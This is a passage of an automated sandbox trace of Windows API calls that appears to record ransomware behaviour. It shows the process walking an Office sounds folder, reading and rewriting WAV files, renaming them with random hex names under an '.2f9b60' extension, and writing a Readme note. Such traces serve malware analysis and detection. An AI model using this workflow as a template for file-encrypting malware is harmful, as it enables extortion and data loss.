cAlternateFileName="WHISTL~1.WAV")) returned 0 [0216.817] FindClose (in: hFindFile=0x1b7cec40 | out: hFindFile=0x1b7cec40) returned 1 [0216.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ff40) returned 1 [0216.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a40b0) returned 1 [0216.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d650) returned 1 Thread: id = 1808 os_tid = 0xccc [0132.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202a4260 [0132.368] wcscpy (in: _Dest=0x202a4260, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" [0132.368] wcscat (in: _Dest=0x202a4260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\" [0132.368] wcscat (in: _Dest=0x202a4260, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\*" [0132.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20de0 [0132.369] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\*", lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7cebe0 [0132.771] wcscmp (_String1=".", _String2=".") returned 0 [0132.772] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.772] wcscmp (_String1="..", _String2=".") returned 1 [0132.772] wcscmp (_String1="..", _String2="..") returned 0 [0132.772] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x84e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALARM.WAV", cAlternateFileName="")) returned 1 [0132.772] wcscmp (_String1="ALARM.WAV", _String2=".") returned 1 [0132.772] wcscmp (_String1="ALARM.WAV", _String2="..") returned 1 [0132.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x20508590 [0132.772] wcscpy (in: _Dest=0x20508590, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" [0132.772] wcscat (in: _Dest=0x20508590, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\" [0132.772] wcscat (in: _Dest=0x20508590, _Source="ALARM.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\ALARM.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\ALARM.WAV" [0151.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\ALARM.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\alarm.wav")) returned 0x20 [0151.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\ALARM.WAV", dwFileAttributes=0x20) returned 1 [0151.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\ALARM.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\alarm.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2504 [0151.320] GetFileSizeEx (in: hFile=0x2504, lpFileSize=0x2899fb00 | out: lpFileSize=0x2899fb00*=34016) returned 1 [0151.320] SetFilePointerEx (in: hFile=0x2504, liDistanceToMove=0x84dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.320] ReadFile (in: hFile=0x2504, lpBuffer=0x2899fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2899fac8, lpOverlapped=0x0 | out: lpBuffer=0x2899fa80*, lpNumberOfBytesRead=0x2899fac8*=0x4, lpOverlapped=0x0) returned 1 [0151.333] SetFilePointerEx (in: hFile=0x2504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6eb0 [0151.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6f40 [0151.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6f70 [0151.333] NtQuerySystemTime (in: CurrentTime=0x2899f9c0 | out: CurrentTime=0x2899f9c0*=132462177565378000) returned 0x0 [0151.333] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x305df660 [0151.333] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x3ab00d0c [0151.333] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x597ca9f6 [0151.333] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x6b787467 [0151.333] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x3e9e8a62 [0151.333] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x4fdae3e4 [0151.333] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x5e756563 [0151.333] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x5aae8daa [0151.333] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x5ecc99af [0151.333] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x4df39964 [0151.333] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x4ff84137 [0151.334] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x13b1bd27 [0151.334] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x236af470 [0151.334] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x6b64b7a7 [0151.334] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x570d8e8f [0151.334] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x3bd9e4c [0151.334] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x66bb5fe2 [0151.334] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x52a5724c [0151.334] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x5592e0 [0151.334] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x78a6c085 [0151.334] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x5dc63ce4 [0151.334] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x39d1500e [0151.334] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x13723ae [0151.334] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x2d2a34c8 [0151.334] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x34a308fe [0151.334] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x10e3fc5d [0151.334] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x3caade6b [0151.334] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x95ae7ef [0151.334] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x515c2b3f [0151.334] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x26b06964 [0151.334] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x6ca4c29c [0151.334] RtlRandomEx (in: Seed=0x2899f9b0 | out: Seed=0x2899f9b0) returned 0x2d0ee651 [0151.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6fa0 [0151.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8694c0 [0151.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6fd0 [0151.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8694c0) returned 1 [0151.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6f70) returned 1 [0151.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6eb0) returned 1 [0151.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424d3da0 [0151.345] SetFilePointerEx (in: hFile=0x2504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.345] ReadFile (in: hFile=0x2504, lpBuffer=0x424d3da0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2899fa20, lpOverlapped=0x0 | out: lpBuffer=0x424d3da0*, lpNumberOfBytesRead=0x2899fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0151.381] SetFilePointerEx (in: hFile=0x2504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058740 [0151.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0151.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860600 [0151.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860600) returned 1 [0151.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424e2de0 [0151.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860600 [0151.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ba90 [0151.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ba90) returned 1 [0151.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0151.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058740) returned 1 [0151.383] WriteFile (in: hFile=0x2504, lpBuffer=0x424e2de0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2899fa20, lpOverlapped=0x0 | out: lpBuffer=0x424e2de0*, lpNumberOfBytesWritten=0x2899fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0162.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424e2de0) returned 1 [0162.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424d3da0) returned 1 [0162.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18f30 [0162.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420586a0 [0162.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869540 [0162.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18f60 [0162.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18f60) returned 1 [0162.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18f60 [0162.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18f90 [0162.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18fc0 [0162.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18fc0) returned 1 [0162.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869540) returned 1 [0162.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420586a0) returned 1 [0162.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x42c16e60 [0162.548] SetFilePointerEx (in: hFile=0x2504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.548] WriteFile (in: hFile=0x2504, lpBuffer=0x42c16e60*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2899fad0, lpOverlapped=0x0 | out: lpBuffer=0x42c16e60*, lpNumberOfBytesWritten=0x2899fad0*=0x104, lpOverlapped=0x0) returned 1 [0164.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18960 [0164.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce246a0 [0164.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e30 [0164.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8e30) returned 1 [0164.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d180 [0164.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e30 [0164.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8cb0 [0164.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8cb0) returned 1 [0164.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce246a0) returned 1 [0164.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18960) returned 1 [0164.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x202a8cb0 [0164.655] sprintf (in: _Dest=0x202a8cb0, _Format="%c%c" | out: _Dest="5c") returned 2 [0164.655] sprintf (in: _Dest=0x202a8cb2, _Format="%c%c" | out: _Dest="c3") returned 2 [0164.655] sprintf (in: _Dest=0x202a8cb4, _Format="%c%c" | out: _Dest="92") returned 2 [0164.655] sprintf (in: _Dest=0x202a8cb6, _Format="%c%c" | out: _Dest="90") returned 2 [0164.655] sprintf (in: _Dest=0x202a8cb8, _Format="%c%c" | out: _Dest="9a") returned 2 [0164.655] sprintf (in: _Dest=0x202a8cba, _Format="%c%c" | out: _Dest="f1") returned 2 [0164.655] sprintf (in: _Dest=0x202a8cbc, _Format="%c%c" | out: _Dest="34") returned 2 [0164.655] sprintf (in: _Dest=0x202a8cbe, _Format="%c%c" | out: _Dest="0b") returned 2 [0164.655] sprintf (in: _Dest=0x202a8cc0, _Format="%c%c" | out: _Dest="2d") returned 2 [0164.655] sprintf (in: _Dest=0x202a8cc2, _Format="%c%c" | out: _Dest="0b") returned 2 [0164.655] sprintf (in: _Dest=0x202a8cc4, _Format="%c%c" | out: _Dest="e9") returned 2 [0164.655] sprintf (in: _Dest=0x202a8cc6, _Format="%c%c" | out: _Dest="a6") returned 2 [0164.655] sprintf (in: _Dest=0x202a8cc8, _Format="%c%c" | out: _Dest="c4") returned 2 [0164.655] sprintf (in: _Dest=0x202a8cca, _Format="%c%c" | out: _Dest="86") returned 2 [0164.655] sprintf (in: _Dest=0x202a8ccc, _Format="%c%c" | out: _Dest="6a") returned 2 [0164.655] sprintf (in: _Dest=0x202a8cce, _Format="%c%c" | out: _Dest="d6") returned 2 [0164.655] sprintf (in: _Dest=0x202a8cd0, _Format="%c%c" | out: _Dest="6e") returned 2 [0164.655] sprintf (in: _Dest=0x202a8cd2, _Format="%c%c" | out: _Dest="48") returned 2 [0164.655] RtlInitAnsiString (in: DestinationString=0x2899fb48, SourceString="5cc392909af1340b2d0be9a6c4866ad66e48" | out: DestinationString="5cc392909af1340b2d0be9a6c4866ad66e48") [0164.655] RtlAnsiStringToUnicodeString (in: DestinationString=0x2899fb18, SourceString="5cc392909af1340b2d0be9a6c4866ad66e48", AllocateDestinationString=1 | out: DestinationString="5cc392909af1340b2d0be9a6c4866ad66e48") returned 0x0 [0164.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd86c10 [0164.656] RtlFreeAnsiString (AnsiString="5") [0164.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8cb0) returned 1 [0164.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8e30) returned 1 [0164.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c16e60) returned 1 [0164.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18f60) returned 1 [0164.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18f90) returned 1 [0164.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18f30) returned 1 [0164.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860600) returned 1 [0164.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6f40) returned 1 [0164.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6fa0) returned 1 [0164.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6fd0) returned 1 [0164.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050bab0 [0164.659] wcscat (in: _Dest=0x2050bab0, _Source="5cc392909" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\5cc392909") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\5cc392909" [0164.659] wcscat (in: _Dest=0x2050bab0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\5cc392909.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\5cc392909.2f9b60" [0164.659] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\5cc392909.2f9b60", NtPathName=0x2899faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\5cc392909.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x118610 [0164.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0164.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c32950) returned 1 [0164.662] NtQueryInformationFile (in: FileHandle=0x2504, IoStatusBlock=0x2899fb58, FileInformation=0x2899fb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2899fb58, FileInformation=0x2899fb68) returned 0x0 [0164.662] NtSetInformationFile (FileHandle=0x2504, IoStatusBlock=0x2899fb58, FileInformation=0x2899fb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0164.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bab0) returned 1 [0164.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86c10) returned 1 [0164.664] FlushFileBuffers (hFile=0x2504) returned 1 [0166.274] CloseHandle (hObject=0x2504) returned 1 [0199.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x431f2f60 [0199.644] wcscpy (in: _Dest=0x431f2f60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\" [0199.644] wcscat (in: _Dest=0x431f2f60, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\2F9B60-Readme.txt" [0199.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\2f9b60-readme.txt")) returned 0xffffffff [0199.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1274 [0203.852] WriteFile (in: hFile=0x1274, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2899fa10, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2899fa10*=0xba9, lpOverlapped=0x0) returned 1 [0209.359] CloseHandle (hObject=0x1274) returned 1 [0216.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f2f60) returned 1 [0216.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508590) returned 1 [0216.699] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xeb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUZZ.WAV", cAlternateFileName="")) returned 1 [0216.699] wcscmp (_String1="BUZZ.WAV", _String2=".") returned 1 [0216.699] wcscmp (_String1="BUZZ.WAV", _String2="..") returned 1 [0216.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20508590 [0216.700] wcscpy (in: _Dest=0x20508590, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" [0216.700] wcscat (in: _Dest=0x20508590, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\" [0216.700] wcscat (in: _Dest=0x20508590, _Source="BUZZ.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\BUZZ.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\BUZZ.WAV" [0216.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20508590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e68 [0216.798] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52b0b4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd686, dwReserved0=0x0, dwReserved1=0x0, cFileName="LASER.WAV", cAlternateFileName="")) returned 1 [0216.798] wcscmp (_String1="LASER.WAV", _String2=".") returned 1 [0216.798] wcscmp (_String1="LASER.WAV", _String2="..") returned 1 [0216.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x202b1410 [0216.798] wcscpy (in: _Dest=0x202b1410, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" [0216.798] wcscat (in: _Dest=0x202b1410, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\" [0216.798] wcscat (in: _Dest=0x202b1410, _Source="LASER.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\LASER.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\LASER.WAV" [0216.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2590 [0216.799] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x1ce20de0 | out: lpFindFileData=0x1ce20de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e316a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e316a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x100ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADAR.WAV", cAlternateFileName="")) returned 1 [0216.799] wcscmp (_String1="RADAR.WAV", _String2=".") returned 1 [0216.799] wcscmp (_String1="RADAR.WAV", _String2="..") returned 1 [0216.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x202b0470 [0216.800] wcscpy (in: _Dest=0x202b0470, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" [0216.800] wcscat (in: _Dest=0x202b0470, _Source="\\" | out: 